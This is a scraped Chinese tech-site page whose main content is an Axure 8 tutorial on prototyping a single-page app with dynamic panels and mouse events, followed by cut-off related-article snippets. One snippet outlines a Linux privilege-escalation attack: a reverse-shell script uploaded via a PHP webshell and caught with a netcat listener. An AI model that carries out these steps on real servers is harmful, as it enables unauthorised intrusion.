axure 鼠标样式,Axure8-动态面板+简单鼠标事件实现单页面应用

随着互联网的发展,各种网站技术以及网站的呈现技术层出不穷,网站的页面展现已经从之前的页面间跳转到现在大行其道的单页面应用,页面内容的切换不再需要进行页面的跳转了,使用起来更加舒适。

功能在变化,技术在变迁,页面展现的技术已经跟上了,作为产品经理的输出产品-原型,怎么能不是对单页面进行实现呢?

其实,要实现单页面应用的效果,在原型设计软件Axure中来说,最主要使用到的是动态面板以及鼠标的一些点击或者悬停事件。下面将详细介绍如何制作一个单页面应用原型

首先,先新建一个rp文件

2047d1856382

新建页面文件

新建完后会生成多个默认的页面

2047d1856382

默认页面文件

因为我们是进行单页面应用的设计,所以只会使用到其中的一个页面,所以只需保留index页面就够用了,删除其他多余页面。

首先在页面区域内添加一个矩形框,作为应用的最大操作区域,并命名操作区域。

2047d1856382

定义应用的操作区域

添加页面头部矩形框,在头部矩形框中添加三个H2文字,代表三个不同页面入口,在头部栏下方添加一个动态面板,使两个组件将操作区域完全填充,动态面板用于实现单页面效果

2047d1856382

页面布局

双击动态面板,弹出动态面板的状态管理框,分别添加首页、资讯、我的三个面板状态

2047d1856382

面板状态管理

在面板状态管理中点击编辑所有状态即可打开所有状态页面的编辑页

2047d1856382

编辑所有状态

在各个状态的编辑页中加入各自的内容

2047d1856382

首页内容

2047d1856382

资讯页

2047d1856382

我的页面

三个页面都已经有了内容了,现在需要做的是页面内容的切换。定位到index页面,选中首页,选择属性,添加鼠标点击时的事件,选择鼠标点击时设置动态面板状态,然后选中面板状态,再选择面板状态。对于资讯、我的按钮也同样操作。

2047d1856382

设置面板显示与隐藏

经过一番操作,已经可以通过点击按钮选择展现去的内容显示了,点击首页将会显示首页内容,点击资讯将会显示资讯也内容,点击我的将会显示我的页面内容。

为了添加选中效果,给头部的菜单栏添加鼠标的悬停事件,当鼠标悬停到对应的菜单是,菜单的背景颜色将会变化。操作如图,先选中菜单,找到属性中的交互样式设置,点击鼠标悬停,在弹出窗口中找到填充颜色,选择一个自己喜欢的颜色,点击去确定即可。资讯、我的两个菜单也如此操作即可成。

2047d1856382

菜单交互样式设置

效果预览,点击预览将会在浏览器中展现页面效果,可以进行相应的点击操作来切换内容展现,实现单页面显示效果。

2047d1856382

预览操作

2047d1856382

效果图

至此,动态面板配合简单的鼠标事件就已经将单页面应用的简单效果完成了。赶紧去试一下吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261172.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…

动态反射——Load,LoadFrom和LoadFile

【问】 假设有一个类库文件LibraryA&#xff0c;其中有一个ClassA&#xff0c;该类的AssemblyName为“LibraryA”&#xff08;编译后的文件是LibraryA.dll&#xff09;。另外有一个LibraryB.dll类库文件&#xff0c;其中AssemblyName和其命名空间一样&#xff0c;并且其引用Lib…

12306订票助手更新

由于时间关系&#xff0c;以及做了较大变更&#xff0c;订票助手已经很久发布更新了。但是订票助手我还是会一直维护下去&#xff0c;直到……你懂的。 这个版本比以前有较大变化&#xff0c;还存在许多已知和未知的问题&#xff0c;只建议喜欢尝鲜的朋友使用&#xff1a; 不再…

C++--Qt使用Http协议

2019独角兽企业重金招聘Python工程师标准>>> #include <QNetworkAccessManager>//包含QNetworkAccessManager类 #include <QNetworkRequest>//包含QNetworkRequest类 #include <QNetworkReply>//包含QNetworkReply类 #include <QtCore> #in…

Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析

今天碰到一个有些奇怪的问题&#xff0c;但是奇怪的现象背后都是有本质的因果。下午在做一个环境的检查时&#xff0c;发现备库是在mount阶段&#xff0c;这可是一个11gR2的库&#xff0c;没有ADG实在是太浪费了&#xff0c;对于这种情况感觉太不应该了。所以尝试启动至open阶段…

【转】使用JDK自带jvisualvm监控tomcat

转载地址: http://my.oschina.net/kone/blog/157239 jdk自带有个jvisualvm工具、该工具是用来监控java运行程序的cpu、内存、线程等的使用情况。并且使用图表的方式监控java程序、还具有远程监控能力。不失为一个用来监控tomcat的好工具。 在jdk目录下的bin目录中可以找到jvisu…

推荐十款非常优秀的 HTML5 在线设计工具

网络有很多优秀的设计和开发工具可能大家都不知道&#xff0c;因此这篇文章就向设计师推荐十款优秀 HTML5 在线工具&#xff0c;这些工具能够帮助设计师们设计出更有创意的作品。随着 HTML5 技术的不断成熟&#xff0c;网络上涌现出越来越多的优秀 HTML5 应用&#xff0c;一起看…

【转】使用Apache Kylin搭建企业级开源大数据分析平台

http://www.thebigdata.cn/JieJueFangAn/30143.html 本篇文章整理自史少锋4月23日在『1024大数据技术峰会』上的分享实录&#xff1a;使用Apache Kylin搭建企业级开源大数据分析平台。 正文如下 我先做一个简单介绍我叫史少锋&#xff0c;我曾经在IBM、eBay做过大数据、云架构的…

俄罗斯游戏软件:C语言应用初步感受

俄罗斯游戏软件&#xff1a;C语言应用初步感受C语言课程设以一节课&#xff0c;老师提供了一个C语言的飞俄罗斯方块让我们感受&#xff0c;我们所学的C语言课程&#xff0c;主要是各种语句的练习&#xff0c;这次是用我们所学过的知识来感受一个实际的系统。首先安装c-free&…

oracle xml中cdata,XML CDATA的作用

XML CDATA的作用更新时间&#xff1a;2009年09月01日 00:52:36 作者&#xff1a;当你用FLASH和xml结合做网站应用程序时&#xff0c;例如你做在我研究游戏排行榜中&#xff0c;当让人自由输入姓名时&#xff0c;人们可以输入一些符号&#xff0c;例如∶""、"/…

android开发(49) android 使用 CollapsingToolbarLayout ,可折叠的顶部导航栏

概述 在很app上都见过 可折叠的顶部导航栏效果。google support v7 提供了 CollapsingToolbarLayout 可以实现这个效果。效果图如下&#xff1a; 实现步骤 1. 写一个 CollapsingToolbarLayout&#xff0c;它有两个 子视图&#xff0c;一个就是上图显示的图片&#xff08;降落伞…

linux ssh服务端下载文件,Linux SSH服务端配置文件设置

一 SSH概述SSH 由 IETF 的网络小组(Network Working Group)所制定&#xff1b;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠&#xff0c;专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统…

使用GPUImage实现视频滤镜

关于GPUImage 这里直接引用官方描述&#xff1a;The GPUImage framework is a BSD-licensed iOS library that lets you apply GPU-accelerated filters and other effects to images, live camera video, and movies. In comparison to Core Image (part of iOS 5.0), GPUImag…

yunos5 linux内核,魅蓝5S、魅蓝5对比看差异 选Android还是YunOS?

原标题&#xff1a;魅蓝5S、魅蓝5对比看差异 选Android还是YunOS&#xff1f;几天前魅族发布了魅蓝5S&#xff0c;这款手机刚好2月20日上午10点开始销售&#xff0c;在魅族官方店和天猫都可以买到。作为新一代入门级手机&#xff0c;魅蓝5S最大得卖点恐怕就是加入了18W快充功能…

微软ASP.NET站点部署指南(3):使用Web.Config文件的Transformations

1. 综述 大多数程序里都会在Web.config里设置参数&#xff0c;并且在部署的时候需要更改。每次都手工更改这些配置很乏味&#xff0c;也容易出错。该章节将会告诉你如果通过自动化更新Web.config文件来避免这些问题。 2. Web.config Transformations 与Web Deploy Parameters 有…

myeclipse不编译

错误&#xff1a; org.eclipse.core.internal.registry.configurationElementHandle cannot be cast to org.eclipse.jdt.core.compiler.CompilationParticipant&#xff09; 解决&#xff1a; 关掉MyEclipse>把MyEclipse安装目录下的configuration中的update目录删掉>重…

eclipse配置PHP自动提示代码

为什么80%的码农都做不了架构师&#xff1f;>>> 配置php自动提示代码 &#xff08;html/js和PHP方法一样&#xff09; 1. 打开 Eclipse的 Window -> Preferences -> PHPeclipse -> PHP -> Code Assist 打开里面的Enable auto activation选项,下面有个…